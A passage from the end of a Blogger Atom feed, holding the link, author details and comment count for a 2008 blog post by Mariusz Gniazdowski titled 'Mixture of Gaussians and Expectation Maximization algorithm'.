rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2008/01/mixture-of-gaussians-and-expectation.html' title='Mixture of Gaussians and Expectation Maximization algorithm'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
